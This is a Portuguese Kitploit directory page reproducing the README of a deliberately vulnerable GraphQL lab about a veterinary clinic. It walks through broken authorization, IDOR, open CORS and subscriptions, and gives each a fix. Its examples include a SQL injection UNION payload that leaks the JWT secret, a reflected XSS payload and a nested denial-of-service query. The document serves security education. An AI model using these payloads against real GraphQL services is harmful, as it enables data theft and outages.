Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
poc-graphql — Pesquisa sobre GraphQL do ponto de vista de AppSec. | Kitploit
Ferramentas/GitHubGitHub/righettod/poc-graphql
Análise de VulnerabilidadesExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e EducaçãoLabs e PráticaArchived
GitHubrighettod/poc-graphql

poc-graphql

Pesquisa sobre GraphQL do ponto de vista de AppSec.

Ver Repositório
418594há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Criar e implantar a imagem

Índice

  • Índice
  • Pesquisa sobre GraphQL
    • Objetivo
    • Laboratórios
    • Implantação no Docker
    • Fraquezas de segurança
      • Autorização
        • Problema
        • Recomendação
      • Injeção
        • Problema
        • Recomendação
      • Exaustão de recursos
        • Problema
        • Recomendação
      • Exposição de dados privados
        • Problema
        • Recomendação
      • Exposição de informações técnicas em caso de erro inesperado
        • Problema
        • Recomendação
      • Referência Direta a Objetos Insegura
        • Problema
      • Exposição da API para a esfera errada de clientes
        • Problema
          • Ativação padrão do endpoint WebSocket de Subscriptions
          • Ativação padrão de Cross-Origin Resource Sharing
        • Recomendação
    • Consultas de descoberta
Baixar ferramenta
  • Referências utilizadas
    • GraphQL
    • Laboratórios
  • Pesquisa sobre GraphQL

    Objetivo

    1. Estudar o que é GraphQL.
    2. Analisar o uso de GraphQL do ponto de vista AppSec (ataques e defesas).
    3. Identificar potenciais fraquezas nas quais ataques podem ser explorados.

    Laboratórios

    Um laboratório foi criado para estudar os diferentes problemas, este considera o contexto de um veterinário gerindo cuidados de saúde de cães.

    O laboratório foi desenvolvido utilizando IntelliJ IDEA Community Edition.

    Domínios utilizados são os seguintes:```text

    Define in host file

    127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

    root@kitploit:~
    Existem as condições e suposições do laboratório:
    
    * Um Veterinário pode estar associado a 0 ou N cães.
    * Um Cão pode estar associado a 0 ou 1 Veterinário.
    * Um Veterinário possui uma propriedade chamada **Popularidade** presente no sistema de armazenamento (banco de dados), mas não deve ser acessada pelo cliente GraphQL por ser uma informação sensível.
    * O ponto de vista de consumo de dados do GraphQL é o Veterinário. As informações do Cão são públicas.
    * O laboratório é explicitamente uma aplicação vulnerável na qual várias vulnerabilidades foram implementadas e são identificadas usando o marcador `[VULN]` nos comentários.
    * Quanto à autenticação, um serviço falso de terceiros foi implementado (via um servlet) e retorna um token JWT contendo o nome do Veterinário no token.
    
    Uma vez iniciado via configuração de execução presente no projeto ou pelo comando `mvn spring-boot:run`, o laboratório está disponível nestes endpoints:
    
    * [GraphiQL](http://localhost:8080/graphiql)
    * [GraphQL](http://localhost:8080/graphql)
    
    Para empacotar a aplicação, como um arquivo jar portátil, use o comando `mvn package` (um arquivo jar pré-construído está disponível [aqui](https://github.com/righettod/poc-graphql/releases)):
    * O arquivo jar será criado na pasta *target* e será nomeado *graphql-poc.jar*.
    * Use o comando `java -jar graphql-poc.jar` para executar a aplicação.
    
    ## Implantação no Docker
    
    > A imagem é publicada todos os dias no [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
    
    Para implantar a aplicação em um container docker, siga os passos:
    
    1. Certifique-se de ter o `docker` instalado.
    2. `git clone` do repositório.
    3. Entre no diretório clonado.
    4. Construa a imagem docker usando `docker build -t poc-graphql .`
    5. Agora uma imagem chamada **poc-graphql:latest** foi criada em sua máquina.
    6. Execute o container usando `docker run -p 8080:8080 poc-graphql:latest`
    7. Acesse o laboratório usando os seguintes endpoints:
       * [GraphiQL](http://localhost:8080/graphiql)
       * [GraphQL](http://localhost:8080/graphql) 
    
    ## Fraquezas de segurança
    
    ### Autorização
    
    *controle de acesso quebrado*
    
    [CWE-285](https://cwe.mitre.org/data/definitions/285.html)
    
    #### Problema
    
    Como o GraphQL é baseado em um único endpoint para o qual todas as requisições são enviadas e como a autorização está fora do escopo da especificação (nenhum recurso embutido).
    
    Cabe à aplicação implementar uma lógica de autorização.
    
    No meu laboratório, tenho uma vulnerabilidade nesse ponto porque a verificação do token de acesso não verifica que o token pertence ao veterinário passado no **veterinaryId**
    
    **Exemplo:**
    
    Eu peço um token de acesso para **Dr Julien** que tem o identificador **3** no armazenamento enviando esta requisição GraphQL:```javascript
    query getAccessToken {
      auth(veterinaryName: "Julien")
    }
    

    Recebo o token de acesso na seguinte resposta GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

    root@kitploit:~
    Envio uma requisição GraphQL para a consulta `myInfo(...)` usando o token de acesso obtido, MAS especifico o identificador **2** que é o de **Dr Benoit**:```javascript
    query brokenAccessControl {
      myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
        id, name, dogs {
          name
        }
      }
    }
    

    Eu recebo na resposta GraphQL a lista de Dogs associados com Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

    root@kitploit:~
    #### Recomendação
    
    Com GraphQL, passamos de uma matriz de autorização usando `Role x Feature` para segurança no nível de dados usando `Role x Data` porque também há um único endpoint. A identidade do usuário e as funções devem ser passadas para a camada superior responsável por obter os dados (ou agir sobre eles) a fim de aplicar uma verificação usando a identidade do usuário antes de obter os dados.
    
    ### Injeção
    
    [CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
    
    #### Problema
    
    De acordo com como as informações da consulta/mutação/assinatura da solicitação GraphQL são usadas pelo servidor GraphQL para agir sobre os armazenamentos de dados, existe possibilidade de injeção.
    
    Nos meus laboratórios, tenho uma vulnerabilidade nesse ponto sobre SQLi na consulta `dogs(namePrefix: String, limit: Int = 500): [Dog!]` porque o parâmetro **namePrefix** é usado em concatenação de strings para construir uma consulta SQL.
    
    **Exemplo:**
    
    Eu envio esta solicitação GraphQL para listar o conteúdo da tabela `CONFIG````javascript
    query sqli {
      dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
        id
        name
      }
    }
    

    Eu recebo na resposta GraphQL o segredo usado para assinar o token JWT junto com o nome do cachorro cujo nome começa com ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

    root@kitploit:~
    Sobre XSS, é interessante notar que a resposta do GraphQL reflete o parâmetro enviado em caso de falha de validação na requisição enviada.
    
    **Exemplo:**
    
    Envio esta requisição GraphQL para a consulta `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, substituo o identificador do Veterinary (que é um inteiro) por um payload XSS de String:```javascript
    query xss {
      myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
        veterinaryId: "<script>alert('XSS')</script>") {
        id
      }
    }
    

    Recebo esta resposta GraphQL que reflete meu payload, portanto, dependendo do cliente GraphQL e do seu comportamento de escape/sanitização, pode abrir portas para XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

    root@kitploit:~
    #### Recomendação
    
    * Aplique validação de entrada nos dados recebidos via Query/Mutation/Subscription antes de usá-los
    * Garanta que o cliente que renderiza os dados da resposta GraphQL aplique escape/sanitização nos dados antes de renderizá-los.
    
    ### Exaustão de recursos
    
    [CWE-400](https://cwe.mitre.org/data/definitions/400.html)
    
    #### Problema
    
    Como o cliente controla a quantidade de dados solicitados, ele pode enviar uma requisição GrapQL para uma consulta que cause exaustão de recursos nos armazenamentos chamados pelo servidor GraphQL, bem como no próprio servidor GraphQL para a serialização dos dados em JSON.
    
    Este problema também pode ocorrer usando uma mutation ao enviar uma grande quantidade de dados nos parâmetros (validação de entrada pode ser usada aqui para evitar este ataque).
    
    Este problema também pode ocorrer usando uma subscription por meio de:
    
    * Registrar um grande número de assinantes e em cada subscription exposta.
    * Enviar uma grande quantidade de dados nos parâmetros usados pelas subscriptions.
    
    Em meus laboratórios, tenho uma vulnerabilidade neste ponto para query, precisamente na query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` que está disponível para usuário anônimo e recupera o conteúdo do banco de dados sobre o Dog. Como existe uma relação entre Dogs e um Veterinary e o inverso, então é possível realizar chamadas em cascata causando exaustão de recursos no nível SQL no banco de dados.
    
    **Exemplo:**
    
    Quando envio esta requisição, faço minha CPU ir a 100% durante vários minutos e meu banco de dados é local pois é um SQLite```javascript
    query dos {
      allDogs(onlyFree: false, limit: 1000000) {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                        veterinary {
                          id
                          name
                          dogs {
                            id
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    

    PROOF00

    Recomendação

    Para Query:

    Dependendo da implementação do servidor GraphQL utilizado, use a proteção integrada fornecida para Maximum Query Depth & Query Complexity (veja as especificações aqui).

    Para a implementação em Java, adicione estas 2 classes de instrumentação à estratégia de execução:

    • Proteção contra Complexidade de Query
    • Proteção contra Profundidade de Query

    Veja esta classe para um exemplo de uso das duas instrumentações acima.

    Para Mutation/Subscription:

    • Use validação de entrada para limitar o tamanho dos dados aceitos recebidos.
    • Adicione limite de assinantes ao nível do código.

    Exposição de dados privados

    CWE-359

    Problema

    Com o GraphQL, um recurso de introspecção é oferecido ao cliente para acessar o esquema da API, a fim de descobrir os dados disponíveis, Query e Mutation e Subscription sobre eles.

    Nota: Desabilitar a Introspecção coloca seu servidor em desacordo com a especificação GraphQL e as expectativas da maioria dos clientes, então use com cuidado. Prefira filtrar o acesso a desabilitá-lo do ponto de vista de negócios.

    Isso implica que qualquer cliente pode explorar o esquema para ver se em Type alguma informação sensível interessante está exposta (é a mesma observação sobre ações em relação a Mutation ou Subscription expostas).

    Usando o GraphiQL através do painel Documentation Explorer ou este script é possível navegar pelo esquema exposto de um endpoint GraphQL.

    No meu laboratório, por erro, eu expus a informação de popularidade considerada sensível sobre um Veterinary no Type Veterinary.

    No meu laboratório, esta url permite obter uma cópia do esquema.

    Exemplo:

    Usando o painel Documentation Explorer, encontrei este campo:

    PROOF01

    PROOF02

    PROOF03

    Recomendação

    A restrição de autenticação pode ser definida no acesso ao endpoint GraphQL para evitar exposição a usuários anônimos, mas qualquer usuário autenticado acessará este esquema de informações.

    Mesmo que um cliente possa ver a estrutura de um tipo expondo informações sensíveis, para ver essa informação é necessário ter permissão na Query/Mutation/Subscription que retorna esses dados.

    Não mapeie informações sensíveis nos tipos definidos no esquema.

    Como o GraphQL materializa como o cliente consumirá os dados, o GraphQL não deve expor todos os dados disponíveis no armazenamento vinculado, mas apenas aqueles úteis para o cliente de acordo com o contexto de negócio da API GraphQL exposta a eles.

    Exposição de informações técnicas em caso de erro inesperado

    CWE-200

    Problema

    Quando o servidor GraphQL encontra um erro inesperado (I/O com armazenamentos, NullPointerException, Timeout...), a resposta indica Internal Server Error(s) while executing query, o que dá uma dica ao atacante de que ele agiu no sistema e causou um comportamento inesperado.

    Exemplo:

    Quando envio esta consulta de requisição no meu laboratório (token inválido):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }

    root@kitploit:~
    Recebo esta resposta que me informa que agi no sistema e causei um comportamento inesperado. Talvez, por exemplo, eu tenha gerado um stack trace no log do aplicativo e, se os arquivos de log do aplicativo estiverem rotacionando por data (diariamente) e não por tamanho, então posso enviar essa requisição várias vezes para encher o disco com logs de erros...```javascript
    {
      "data": {
        "myInfo": null
      },
      "errors": [
        {
          "message": "Internal Server Error(s) while executing query",
          "path": null,
          "extensions": null
        }
      ]
    }
    

    Reco

    Retorna um erro genérico se um erro inesperado for encontrado, como por exemplo A consulta não pode ser processada!

    Veja um exemplo nesta classe.

    Referência Direta a Objetos Insegura

    CWE-639

    Problema

    Se a API GrapQL expõe Query/Mutation/Subscription cujo identificador de dados é adivinhável/previsível, então essas Query/Mutation/Subscription estão expostas a ataques IDOR nos quais o atacante utilizará uma lista personalizada de identificadores para tentar acessar ou agir sobre dados cujo identificador está na lista, e a ação terá sucesso se também houver falhas de autorização na Query/Mutation/Subscription alvo que manipula os dados.

    As Query/Mutation/Subscription da API GraphQL propostas pelos meus laboratórios são vulneráveis a IDOR porque eu uso inteiros sequenciais como identificadores únicos para Cachorro e Veterinário.

    Exemplo:

    Usando o Documentation Explorer do GraphiQL, vemos que os identificadores são números inteiros simples e sequenciais:

    PROOF04

    PROOF05

    Solicitar consulta para detectar IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }

    root@kitploit:~
    A resposta mostra o identificador sequencial para Dog e Veterinay:```javascript
    {
      "data": {
        "allDogs": [
          {
            "id": 1,
            "veterinary": {
              "id": 1
            }
          },
          {
            "id": 2,
            "veterinary": {
              "id": 1
            }
          },
          {
            "id": 3,
            "veterinary": {
              "id": 1
            }
          },
      ...
      {
            "id": 55,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 56,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 57,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 58,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 59,
            "veterinary": {
              "id": 2
            }
      ...
    

    Exposição da API à esfera errada de clientes

    CWE-668

    Problema

    Ao usar um servidor de implementação GraphQL para construir sua API GraphQL, pode acontecer que este habilite por padrão algumas funcionalidades que expõem a API GraphQL à esfera errada de clientes.

    Ativação padrão do endpoint WebSocket de Subscriptions

    No meu laboratório é o caso porque, por padrão, um endpoint WebSocket é exposto no caminho /subscriptions e não requer qualquer autenticação (veja este documento precisamente a seção Atualizações em Tempo Real com Subscriptions):

    PROOF08

    Clientes podem obter acesso aos dados da API através deste endpoint se o schema declarar subscriptions na seção Subscription.

    Exemplo:

    Posso ver as subscriptions expostas através do schema:

    PROOF09

    Se eu enviar esta requisição de subscription para receber evento da subscription newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }

    root@kitploit:~
    Recebo a seguinte mensagem indicando que, a partir de agora, receberei informações desta subscrição:```text
    Your subscription data will appear here after server publication!
    

    E quando eu crio uma associação via esta requisição de mutação em outro navegador, por exemplo:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }

    root@kitploit:~
    A resposta da mutação prova que a ação foi realizada no nível de dados:```javascript
    {
      "data": {
        "associateDogToMe": {
          "name": "Dobby"
        }
      }
    }
    

    Após um momento, recebo esta notificação em resposta à minha inscrição:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

    root@kitploit:~
    ![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)
    
    ##### Ativação padrão do Cross-Origin Resource Sharing
    
    No meu laboratório, este é o caso porque, por padrão, o [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) está ativado e configurado como `*`, permitindo que a API seja chamada por qualquer `origin`.
    
    **Exemplo:**
    
    Quando envio esta requisição na qual especifico uma `origin` diferente de *domain1.local* para *domain2.local*:```text
    POST /graphql HTTP/1.1
    Host: domain2.local:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
    Accept: application/json
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    content-type: application/json
    origin: http://domain1.local:8080
    referer: http://domain1.local:8080
    Content-Length: 104
    DNT: 1
    Connection: close
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}
    

    Eu recebo esta resposta:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT

    {"data":{"allDogs":[{"name":"Abi"},...

    root@kitploit:~
    Chamada de um navegador:
    
    ![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)
    
    ![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)
    
    #### Recomendação
    
    Verifique os recursos habilitados por padrão e desabilite-os se isso impactar a exposição da API.
    
    Para o endpoint de Subscriptions:
    
    * Se você expõe subscription, garanta que haja Autenticação e Controle de Acesso em cada subscription exposta no schema.
    * Se você não expõe subscription, desabilite o endpoint WebSocket ou bloqueie este endpoint no nível do WAF/Servidor de Aplicação.
    
    No meu laboratório, foi necessário definir as seguintes opções neste [arquivo de configuração](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties):
    
    * Para CORS: `graphql.servlet.corsEnabled=false`
    * Para WebSocket: `graphql.servlet.websocket.enabled=false`
    
    ## Consultas de descoberta
    
    As seguintes consultas podem ser usadas para obter o schema.
    
    Não detalhado:```javascript
    {
        __schema {
            types {
                name
                kind
                description
                fields {
                    name
                }
            }
        }
    }
    

    Detalhado:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

    fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }

    fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }

    fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }

    root@kitploit:~
    ## Referências utilizadas
    
    ### GraphQL
    
    * [Site do GraphQL](https://graphql.org/)
    * [Tutoriais do GraphQL](https://www.howtographql.com/)
    * [Blog DOYENSEC sobre questões de GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
    
    ### Laboratórios
    
    * [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
    * [graphql-java-kickstart](https://www.graphql-java-kickstart.com)